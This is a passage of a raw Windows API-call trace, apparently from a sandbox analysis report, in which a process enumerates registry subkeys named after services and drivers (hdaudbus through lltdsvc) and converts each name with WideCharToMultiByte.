WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0177.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0177.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0177.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0177.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0177.081] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0177.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0177.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0177.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0177.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0177.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0177.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0177.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0177.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0177.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0177.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0177.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0177.082] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0177.083] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0177.083] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0177.083] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0177.083] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0177.083] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0177.083] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0177.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0177.084] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0177.084] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0177.084] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0177.084] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0177.084] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0177.084] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0177.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0177.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0177.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0177.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0177.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0177.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0177.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0177.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0177.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0177.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0177.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0177.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0177.085] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0177.086] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0177.086] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0177.086] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0177.086] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0177.086] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0177.086] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0177.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0177.087] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0177.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0177.087] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0177.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0177.087] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0177.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0177.087] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0177.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0177.087] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0177.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 